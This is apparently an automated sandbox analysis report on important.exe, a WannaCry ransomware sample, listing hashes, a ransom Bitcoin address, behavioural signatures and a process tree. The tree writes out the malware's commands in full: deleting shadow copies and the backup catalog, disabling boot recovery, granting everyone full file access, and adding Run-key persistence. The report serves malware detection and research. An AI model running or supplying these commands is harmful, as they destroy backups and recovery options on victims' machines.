Resubmissions
19-03-2022 08:22
220319-j9qwraech8 1019-03-2022 08:21
220319-j84ffseebn 616-03-2022 15:34
220316-sz9qjsfba4 1017-02-2022 18:50
220217-xhdn1aedap 1017-02-2022 13:21
220217-ql2rnsbbf7 1017-02-2022 13:20
220217-qljwvscdar 117-02-2022 13:20
220217-qlb61sbbf6 117-02-2022 13:19
220217-qkv8hacdap 117-02-2022 12:49
220217-p2gwrscchl 1017-02-2022 08:03
220217-jxx5ascaan 1Analysis
-
max time kernel
146s -
max time network
148s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
15-07-2020 08:05
Static task
static1
Behavioral task
behavioral1
Sample
important.exe
Resource
win7
Behavioral task
behavioral2
Sample
important.exe
Resource
win10v200430
General
-
Target
important.exe
-
Size
3.4MB
-
MD5
84c82835a5d21bbcf75a61706d8ab549
-
SHA1
5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
-
SHA256
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
-
SHA512
90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\@[email protected]
wannacry
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
Signatures
-
Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD9F32.tmp important.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD9F49.tmp important.exe -
Modifies service 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 4028 icacls.exe -
JavaScript code in executable 5 IoCs
resource yara_rule behavioral2/files/0x000100000001afd3-55.dat js behavioral2/files/0x000100000001afd3-56.dat js behavioral2/files/0x000100000001afc8-59.dat js behavioral2/files/0x000100000001afc8-70.dat js behavioral2/files/0x000100000001afc8-69.dat js -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\biiywaghgcpcp303 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\"" reg.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 4028 reg.exe -
Wannacry
WannaCry is a ransomware cryptoworm.
-
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3824 attrib.exe -
Loads dropped DLL 8 IoCs
pid Process 416 taskhsvc.exe 416 taskhsvc.exe 416 taskhsvc.exe 416 taskhsvc.exe 416 taskhsvc.exe 416 taskhsvc.exe 416 taskhsvc.exe 416 taskhsvc.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 416 taskhsvc.exe 416 taskhsvc.exe 416 taskhsvc.exe 416 taskhsvc.exe 416 taskhsvc.exe 416 taskhsvc.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Suspicious use of WriteProcessMemory 78 IoCs
description pid Process procid_target PID 2564 wrote to memory of 3824 2564 important.exe 66 PID 2564 wrote to memory of 3824 2564 important.exe 66 PID 2564 wrote to memory of 3824 2564 important.exe 66 PID 2564 wrote to memory of 4028 2564 important.exe 68 PID 2564 wrote to memory of 4028 2564 important.exe 68 PID 2564 wrote to memory of 4028 2564 important.exe 68 PID 2564 wrote to memory of 1552 2564 important.exe 70 PID 2564 wrote to memory of 1552 2564 important.exe 70 PID 2564 wrote to memory of 1552 2564 important.exe 70 PID 2564 wrote to memory of 2340 2564 important.exe 71 PID 2564 wrote to memory of 2340 2564 important.exe 71 PID 2564 wrote to memory of 2340 2564 important.exe 71 PID 2340 wrote to memory of 1928 2340 cmd.exe 73 PID 2340 wrote to memory of 1928 2340 cmd.exe 73 PID 2340 wrote to memory of 1928 2340 cmd.exe 73 PID 2564 wrote to memory of 3924 2564 important.exe 76 PID 2564 wrote to memory of 3924 2564 important.exe 76 PID 2564 wrote to memory of 3924 2564 important.exe 76 PID 2564 wrote to memory of 3936 2564 important.exe 77 PID 2564 wrote to memory of 3936 2564 important.exe 77 PID 2564 wrote to memory of 3936 2564 important.exe 77 PID 3936 wrote to memory of 3324 3936 cmd.exe 80 PID 3936 wrote to memory of 3324 3936 cmd.exe 80 PID 3936 wrote to memory of 3324 3936 cmd.exe 80 PID 3924 wrote to memory of 416 3924 @[email protected] 83 PID 3924 wrote to memory of 416 3924 @[email protected] 83 PID 3924 wrote to memory of 416 3924 @[email protected] 83 PID 2564 wrote to memory of 372 2564 important.exe 86 PID 2564 wrote to memory of 372 2564 important.exe 86 PID 2564 wrote to memory of 372 2564 important.exe 86 PID 2564 wrote to memory of 652 2564 important.exe 87 PID 2564 wrote to memory of 652 2564 important.exe 87 PID 2564 wrote to memory of 652 2564 important.exe 87 PID 2564 wrote to memory of 812 2564 important.exe 88 PID 2564 wrote to memory of 812 2564 important.exe 88 PID 2564 wrote to memory of 812 2564 important.exe 88 PID 2564 wrote to memory of 904 2564 important.exe 89 PID 2564 wrote to memory of 904 2564 important.exe 89 PID 2564 wrote to memory of 904 2564 important.exe 89 PID 904 wrote to memory of 4028 904 cmd.exe 91 PID 904 wrote to memory of 4028 904 cmd.exe 91 PID 904 wrote to memory of 4028 904 cmd.exe 91 PID 3324 wrote to memory of 1932 3324 @[email protected] 92 PID 3324 wrote to memory of 1932 3324 @[email protected] 92 PID 3324 wrote to memory of 1932 3324 @[email protected] 92 PID 1932 wrote to memory of 2112 1932 cmd.exe 94 PID 1932 wrote to memory of 2112 1932 cmd.exe 94 PID 1932 wrote to memory of 2112 1932 cmd.exe 94 PID 1932 wrote to memory of 2652 1932 cmd.exe 96 PID 1932 wrote to memory of 2652 1932 cmd.exe 96 PID 1932 wrote to memory of 2652 1932 cmd.exe 96 PID 2564 wrote to memory of 1076 2564 important.exe 101 PID 2564 wrote to memory of 1076 2564 important.exe 101 PID 2564 wrote to memory of 1076 2564 important.exe 101 PID 2564 wrote to memory of 1140 2564 important.exe 102 PID 2564 wrote to memory of 1140 2564 important.exe 102 PID 2564 wrote to memory of 1140 2564 important.exe 102 PID 2564 wrote to memory of 1032 2564 important.exe 103 PID 2564 wrote to memory of 1032 2564 important.exe 103 PID 2564 wrote to memory of 1032 2564 important.exe 103 PID 2564 wrote to memory of 1316 2564 important.exe 104 PID 2564 wrote to memory of 1316 2564 important.exe 104 PID 2564 wrote to memory of 1316 2564 important.exe 104 PID 2564 wrote to memory of 2632 2564 important.exe 105 PID 2564 wrote to memory of 2632 2564 important.exe 105 PID 2564 wrote to memory of 2632 2564 important.exe 105 PID 2564 wrote to memory of 3560 2564 important.exe 106 PID 2564 wrote to memory of 3560 2564 important.exe 106 PID 2564 wrote to memory of 3560 2564 important.exe 106 PID 2564 wrote to memory of 720 2564 important.exe 107 PID 2564 wrote to memory of 720 2564 important.exe 107 PID 2564 wrote to memory of 720 2564 important.exe 107 PID 2564 wrote to memory of 2764 2564 important.exe 108 PID 2564 wrote to memory of 2764 2564 important.exe 108 PID 2564 wrote to memory of 2764 2564 important.exe 108 PID 2564 wrote to memory of 1932 2564 important.exe 109 PID 2564 wrote to memory of 1932 2564 important.exe 109 PID 2564 wrote to memory of 1932 2564 important.exe 109 -
Executes dropped EXE 16 IoCs
pid Process 1552 taskdl.exe 3924 @[email protected] 3324 @[email protected] 416 taskhsvc.exe 372 taskse.exe 652 @[email protected] 812 taskdl.exe 1076 taskdl.exe 1140 taskse.exe 1032 @[email protected] 1316 taskdl.exe 2632 taskse.exe 3560 @[email protected] 720 taskse.exe 2764 @[email protected] 1932 taskdl.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" important.exe Set value (str) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" @[email protected] -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2112 vssadmin.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 3924 @[email protected] 3324 @[email protected] 3924 @[email protected] 3324 @[email protected] 652 @[email protected] 652 @[email protected] 1032 @[email protected] 3560 @[email protected] 2764 @[email protected] -
Suspicious use of AdjustPrivilegeToken 53 IoCs
description pid Process Token: SeTcbPrivilege 372 taskse.exe Token: SeTcbPrivilege 372 taskse.exe Token: SeBackupPrivilege 1696 vssvc.exe Token: SeRestorePrivilege 1696 vssvc.exe Token: SeAuditPrivilege 1696 vssvc.exe Token: SeIncreaseQuotaPrivilege 2652 WMIC.exe Token: SeSecurityPrivilege 2652 WMIC.exe Token: SeTakeOwnershipPrivilege 2652 WMIC.exe Token: SeLoadDriverPrivilege 2652 WMIC.exe Token: SeSystemProfilePrivilege 2652 WMIC.exe Token: SeSystemtimePrivilege 2652 WMIC.exe Token: SeProfSingleProcessPrivilege 2652 WMIC.exe Token: SeIncBasePriorityPrivilege 2652 WMIC.exe Token: SeCreatePagefilePrivilege 2652 WMIC.exe Token: SeBackupPrivilege 2652 WMIC.exe Token: SeRestorePrivilege 2652 WMIC.exe Token: SeShutdownPrivilege 2652 WMIC.exe Token: SeDebugPrivilege 2652 WMIC.exe Token: SeSystemEnvironmentPrivilege 2652 WMIC.exe Token: SeRemoteShutdownPrivilege 2652 WMIC.exe Token: SeUndockPrivilege 2652 WMIC.exe Token: SeManageVolumePrivilege 2652 WMIC.exe Token: 33 2652 WMIC.exe Token: 34 2652 WMIC.exe Token: 35 2652 WMIC.exe Token: 36 2652 WMIC.exe Token: SeIncreaseQuotaPrivilege 2652 WMIC.exe Token: SeSecurityPrivilege 2652 WMIC.exe Token: SeTakeOwnershipPrivilege 2652 WMIC.exe Token: SeLoadDriverPrivilege 2652 WMIC.exe Token: SeSystemProfilePrivilege 2652 WMIC.exe Token: SeSystemtimePrivilege 2652 WMIC.exe Token: SeProfSingleProcessPrivilege 2652 WMIC.exe Token: SeIncBasePriorityPrivilege 2652 WMIC.exe Token: SeCreatePagefilePrivilege 2652 WMIC.exe Token: SeBackupPrivilege 2652 WMIC.exe Token: SeRestorePrivilege 2652 WMIC.exe Token: SeShutdownPrivilege 2652 WMIC.exe Token: SeDebugPrivilege 2652 WMIC.exe Token: SeSystemEnvironmentPrivilege 2652 WMIC.exe Token: SeRemoteShutdownPrivilege 2652 WMIC.exe Token: SeUndockPrivilege 2652 WMIC.exe Token: SeManageVolumePrivilege 2652 WMIC.exe Token: 33 2652 WMIC.exe Token: 34 2652 WMIC.exe Token: 35 2652 WMIC.exe Token: 36 2652 WMIC.exe Token: SeTcbPrivilege 1140 taskse.exe Token: SeTcbPrivilege 1140 taskse.exe Token: SeTcbPrivilege 2632 taskse.exe Token: SeTcbPrivilege 2632 taskse.exe Token: SeTcbPrivilege 720 taskse.exe Token: SeTcbPrivilege 720 taskse.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\important.exe"C:\Users\Admin\AppData\Local\Temp\important.exe"1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
- Sets desktop wallpaper using registry
PID:2564 -
C:\Windows\SysWOW64\attrib.exeattrib +h .2⤵
- Views/modifies file attributes
PID:3824
-
-
C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:4028
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1552
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 305081594807468.bat2⤵
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs3⤵PID:1928
-
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3924 -
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:416
-
-
-
C:\Windows\SysWOW64\cmd.exePID:3936
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]3⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3324 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet4⤵
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
PID:2112
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2652
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:372
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of SetWindowsHookEx
PID:652
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:812
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "biiywaghgcpcp303" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f2⤵
- Suspicious use of WriteProcessMemory
PID:904 -
C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "biiywaghgcpcp303" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f3⤵
- Adds Run key to start application
- Modifies registry key
PID:4028
-
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1076
-
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1140
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1032
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1316
-
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2632
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:3560
-
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:720
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:2764
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1932
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1696